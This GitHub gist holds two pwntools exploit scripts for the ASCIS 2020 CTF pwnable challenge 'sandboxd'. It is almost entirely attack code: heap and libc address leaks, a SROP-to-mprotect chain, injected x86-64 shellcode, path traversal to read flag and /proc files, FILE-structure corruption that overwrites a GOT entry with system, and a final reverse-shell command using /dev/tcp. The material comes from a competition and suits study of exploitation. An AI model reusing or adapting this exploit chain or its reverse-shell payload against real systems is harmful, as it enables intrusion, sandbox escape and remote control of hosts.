Skip to content

Instantly share code, notes, and snippets.

@kungfulon
Last active April 9, 2021 11:53
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kungfulon/6177afc97b98819a939892a6b81e27ed to your computer and use it in GitHub Desktop.
Save kungfulon/6177afc97b98819a939892a6b81e27ed to your computer and use it in GitHub Desktop.
ASCIS 2020 - Pwnable challenges
#!/usr/bin/env python3
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
b = ELF('./sandboxd')
l = ELF('./libc-2.31.so')
context.terminal = ['tmux', 'sp', '-h', '-p', '80']
#r = gdb.debug(args=['./sandboxd', './/////////////'], gdbscript='set follow-fork-mode child', exe='./sandboxd')
r = b.process(argv=['.//////////////']) #, env={'LD_PRELOAD': './libc-2.31.so'})
#r = remote('34.126.72.51', 31337)
def register(u, p):
r.sendlineafter('>> ', '1')
r.sendlineafter('Username:', u)
r.sendlineafter('Password:', p)
def login(u, p):
r.sendlineafter('>> ', '2')
r.sendlineafter('Username:', u)
r.sendlineafter('Password:', p)
def write_secret(sz, d):
r.sendlineafter('>>', '1')
r.sendlineafter('Size: ', str(sz))
r.sendlineafter('Data: ', d)
def read_secret():
r.sendlineafter('>>', '3')
def destroy_account():
r.sendlineafter('>>', '5')
def logout():
r.sendlineafter('>>', '6')
register('a', 'a')
login('a', 'a')
write_secret(0x40, '')
read_secret()
r.recvline()
l.address = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - 0x1ebcc0
log.info('libc = 0x{:x}'.format(l.address))
write_secret(0x68, '')
read_secret()
r.recvline()
heap = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - 0x16dc0
log.info('heap = 0x{:x}'.format(heap))
srop = SigreturnFrame()
srop['uc_stack.ss_size'] = l.symbols['setcontext'] + 0x3d
srop.rdi = heap
srop.rsi = 0x20000
srop.rdx = 0x7
srop.rsp = heap + 0x17460 + len(bytes(srop))
srop.rip = l.symbols['mprotect']
rop = bytes(srop) + p64(l.address + 0x284c8) # call rsp
shellcode = asm('''
push rdi
pop rbx
loop:
call send_command
call recv_response
call send_command
call recv_response
call attach_and_print_shm
attach_and_print_shm:
sub rsp, 0x18
push 0x0
pop rdi
push rsp
pop rsi
push 0x14
pop rdx
push SYS_read
pop rax
syscall
mov edi, [rsp]
mov rsi, [rsp+0x4]
mov edx, [rsp+0xc]
push SYS_shmget
pop rax
syscall
push rax
pop rdi
xor rsi, rsi
xor rdx, rdx
push SYS_shmat
pop rax
syscall
push 0x1
pop rdi
push rax
pop rsi
mov edx, [rsp+0x10]
call write_buf
add rsp, 0x18
ret
send_command:
push 0x0
pop rdi
push rbx
pop rsi
call read_buf
push 0x4
pop rdi
push rbx
pop rsi
push rax
pop rdx
call write_buf
ret
recv_response:
push 0x4
pop rdi
push rbx
pop rsi
call read_buf
push 0x1
pop rdi
push rbx
pop rsi
push rax
pop rdx
call write_buf
ret
write_buf:
push rsi
push rdx
push rsp
pop rsi
push 0x4
pop rdx
push SYS_write
pop rax
syscall
pop rdx
pop rsi
push SYS_write
pop rax
syscall
ret
read_buf:
push rsi
push 0x0
push rsp
pop rsi
push 0x4
pop rdx
push SYS_read
pop rax
syscall
pop rdx
pop rsi
push rdx
call readn
pop rax
ret
readn:
push SYS_read
pop rax
syscall
add rsi, rax
sub rdx, rax
test rdx, rdx
jnz readn
ret
''')
write_secret(0x68, b'\x00' * 0x58 + p64(heap + 0x16ad0) + p64(0x1000))
write_secret(0x1000, rop + shellcode)
logout()
register('b', 'b')
login('b', 'b')
write_secret(0x51, p64(heap + 0x16ad8) + p64(heap + 0x17460) + p64(0x0) * 7 + p64(l.address + 0x154930)) # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
logout()
login('a', 'a')
def send_command(header, cmd, params):
payload = p64(header) + p32(cmd) + p32(len(params))
for i in range(len(params)):
payload += p32(len(params[i]))
payload += params[i]
r.send(p32(len(payload)))
r.send(payload)
def recv_response():
return r.recvn(u32(r.recvn(4)))
def parse_response(dat):
header = u64(dat[:8])
cmd = u32(dat[8:12])
params_count = u32(dat[12:16])
params = []
offset = 16
for i in range(params_count):
param_length = u32(dat[offset:offset+4])
offset += 4
params.append(dat[offset:offset+param_length])
offset += param_length
return header, cmd, params
send_command(0xdeadbeef, 5, [b'give_me_flag'])
_, _, params = parse_response(recv_response())
log.success(params[0].decode('ascii'))
send_command(0, 1, [b'../../../../../../../../../home/escape_me/flag2', b'r'])
handle, _, params = parse_response(recv_response())
r.send(p32(int(params[3]) & 0xffffffff) + p64(int(params[2]) & 0xffffffffffffffff) + p32(0o1666) + p32(int(params[1]) & 0xffffffff))
log.success(recv_response().decode('ascii'))
r.interactive()
#!/usr/bin/env python3
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
b = ELF('./sandboxd')
l = ELF('./libc-2.31.so')
context.terminal = ['tmux', 'sp', '-h', '-p', '80']
#r = gdb.debug(args=['./sandboxd', './/////////////'], gdbscript='set follow-fork-mode parent', exe='./sandboxd')
r = b.process(argv=['.//////////////'], env={'LD_PRELOAD': './libc-2.31.so'})
#r = remote('34.126.72.51', 31337)
def register(u, p):
r.sendlineafter('>> ', '1')
r.sendlineafter('Username:', u)
r.sendlineafter('Password:', p)
def login(u, p):
r.sendlineafter('>> ', '2')
r.sendlineafter('Username:', u)
r.sendlineafter('Password:', p)
def write_secret(sz, d):
r.sendlineafter('>>', '1')
r.sendlineafter('Size: ', str(sz))
r.sendlineafter('Data: ', d)
def read_secret():
r.sendlineafter('>>', '3')
def destroy_account():
r.sendlineafter('>>', '5')
def logout():
r.sendlineafter('>>', '6')
register('a', 'a')
login('a', 'a')
write_secret(0x40, '')
read_secret()
r.recvline()
l.address = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - 0x1ebcc0
log.info('libc = 0x{:x}'.format(l.address))
write_secret(0x68, '')
read_secret()
r.recvline()
heap = int(b''.join(r.recvn(23).split(b' ')[::-1]), 16) - 0x16dc0
log.info('heap = 0x{:x}'.format(heap))
srop = SigreturnFrame()
srop['uc_stack.ss_size'] = l.symbols['setcontext'] + 0x3d
srop.rdi = heap
srop.rsi = 0x20000
srop.rdx = 0x7
srop.rsp = heap + 0x17460 + len(bytes(srop))
srop.rip = l.symbols['mprotect']
rop = bytes(srop) + p64(l.address + 0x284c8) # call rsp
shellcode = asm('''
push rdi
pop rbx
loop:
call send_command
call recv_response
call attach_and_print_shm
call send_command
call recv_response
call reconnect
call send_command
call recv_response
call reconnect
call send_command
push 0x4
pop rdi
push rbx
pop rsi
push 0x8
pop rdx
push SYS_read
pop rax
syscall
push 0x1
pop rdi
push SYS_write
pop rax
syscall
mov rax, [rbx]
sub rax, 0x{:x}
add rax, 0x{:x}
mov [r15], rax
call recv_response
call send_command
call recv_response
call send_command
push rbx
pop rsi
read_loop:
xor rdi, rdi
push 0x1
pop rdx
push SYS_read
pop rax
syscall
jmp read_loop
reconnect:
push 0x4
pop rdi
push SYS_close
pop rax
syscall
push 0x1
pop rdi
push 0x1
pop rsi
xor rdx, rdx
push SYS_socket
pop rax
syscall
push rax
pop rdi
lea rsi, [rbx+0x11efe]
mov word ptr [rsi], 0x1
push 0x6e
pop rdx
push SYS_connect
pop rax
syscall
ret
attach_and_print_shm:
sub rsp, 0x18
push 0x0
pop rdi
push rsp
pop rsi
push 0x14
pop rdx
push SYS_read
pop rax
syscall
mov edi, [rsp]
mov rsi, [rsp+0x4]
mov edx, [rsp+0xc]
push SYS_shmget
pop rax
syscall
push rax
pop rdi
xor rsi, rsi
xor rdx, rdx
push SYS_shmat
pop rax
syscall
push rax
pop r15
push 0x1
pop rdi
push rax
pop rsi
mov edx, [rsp+0x10]
call write_buf
add rsp, 0x18
ret
send_command:
push 0x0
pop rdi
push rbx
pop rsi
call read_buf
push 0x4
pop rdi
push rbx
pop rsi
push rax
pop rdx
push SYS_write
pop rax
syscall
ret
recv_response:
push 0x4
pop rdi
push rbx
pop rsi
call read_buf
push 0x1
pop rdi
push rbx
pop rsi
push rax
pop rdx
call write_buf
ret
write_buf:
push rsi
push rdx
push rsp
pop rsi
push 0x4
pop rdx
push SYS_write
pop rax
syscall
pop rdx
pop rsi
push SYS_write
pop rax
syscall
ret
read_buf:
push rsi
push 0x0
push rsp
pop rsi
push 0x4
pop rdx
push SYS_read
pop rax
syscall
pop rdx
pop rsi
push rdx
call readn
pop rax
ret
readn:
push SYS_read
pop rax
syscall
add rsi, rax
sub rdx, rax
test rdx, rdx
jnz readn
ret
'''.format(l.symbols['fclose'] - l.address, l.symbols['system'] - l.address))
write_secret(0x68, b'\x00' * 0x58 + p64(heap + 0x16ad0) + p64(0x1000))
write_secret(0x1000, rop + shellcode)
logout()
register('b', 'b')
login('b', 'b')
write_secret(0x51, p64(heap + 0x16ad8) + p64(heap + 0x17460) + p64(0x0) * 7 + p64(l.address + 0x154930)) # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
logout()
login('a', 'a')
def send_command(header, cmd, params, size=None):
payload = p64(header) + p32(cmd) + p32(len(params))
for i in range(len(params)):
payload += p32(len(params[i]))
payload += params[i]
r.send(p32(len(payload) + 4))
if size is None:
r.send(p32(len(payload)))
else:
r.send(p32(size))
r.send(payload)
def recv_response():
return r.recvn(u32(r.recvn(4)))
def parse_response(dat):
header = u64(dat[:8])
cmd = u32(dat[8:12])
params_count = u32(dat[12:16])
params = []
offset = 16
for i in range(params_count):
param_length = u32(dat[offset:offset+4])
offset += 4
params.append(dat[offset:offset+param_length])
offset += param_length
return header, cmd, params
send_command(0, 1, [b'../../../../../../../../../proc/self/stat', b'r'])
handle, _, params = parse_response(recv_response())
r.send(p32(int(params[3]) & 0xffffffff) + p64(int(params[2]) & 0xffffffffffffffff) + p32(0o1666) + p32(int(params[1]) & 0xffffffff))
stat_params = recv_response().strip(b'\x00').decode('ascii').split()
b.address = int(stat_params[25])
log.info('binary = 0x{:x}'.format(b.address))
send_command(handle, 3, [b'r', b'0'])
recv_response()
payload = p32(0x1010) + p64(0) + p32(0) + p32(0x401)
r.send(p32(len(payload)))
r.send(payload)
recv_response()
file = FileStructure(null=b.bss(0x1000))
file.flags = p64(0xfbad0000 | 0x800) # IO_CURRENTLY_PUTTING
file.fileno = 0x4
file._IO_read_end = b.got['fclose']
file._IO_write_base = b.got['fclose']
file._IO_write_ptr = b.got['fclose'] + 0x8
send_command(handle, 3, [b'w', b'0' + b'\x00' * 6 + bytes(file)[:0x74]], 0x1f8)
l.address = 0
l.address = u64(r.recvn(8)) - l.symbols['fclose']
log.info('libc = 0x{:x}'.format(l.address))
recv_response()
file = FileStructure(null=b.bss(0x1000))
file.flags = p64(0xfbad0000 | 0x4) # IO_NO_READS
file.fileno = 0x4
file._IO_buf_base = 0x1
file._IO_write_base = b.got['fclose']
file._IO_write_ptr = b.got['fclose']
file._IO_write_end = b.got['fclose'] + 0x1000
send_command(handle, 3, [b'w', b'8' + b'\x00' * 6 + bytes(file)[:0x74]], 0x1f8)
recv_response()
send_command(handle, 3, [b'r', b'0' + b'\x00' * 6 + b'/bin/bash -c \'/bin/bash -i >&/dev/tcp/127.0.0.1/1337 0>&1 2>&1\'\x00'], 0x1f8)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment